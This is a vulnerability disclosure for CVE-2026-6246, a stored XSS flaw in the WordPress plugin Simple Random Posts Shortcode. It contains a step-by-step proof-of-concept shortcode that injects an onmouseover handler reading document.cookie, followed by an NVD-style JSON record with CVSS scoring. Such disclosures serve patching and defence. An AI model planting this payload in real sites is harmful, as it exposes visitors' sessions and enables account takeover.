CVE-2026-6246

<!-- PoC for CVE-2026-6246: Stored XSS in Simple Random Posts Shortcode --> <!-- Step 1: Log in as a user with Contributor privileges --> <!-- Step 2: Create or Edit a post and insert the following shortcode --> [simple_random_posts container_right_width="100px" onmouseover="alert(document.cookie)"] <!-- Step 3: Publish or submit the post --> <!-- Step 4: View the post to trigger the XSS -->

{"cve": {"id": "CVE-2026-6246", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:26.540", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple Random Posts Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'container_right_width' attribute of the 'simple_random_posts' shortcode in all versions up to, and including, 0.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-random-posts-shortcode/tags/0.3/simple-random-posts-shortcode.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simple-random-posts-shortcode/trunk/simple-random-posts-shortcode.php#L54", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7d61e6ea-4975-452a-8f9c-1c6d428372ac?source=cve", "source": "[email protected]"}]}}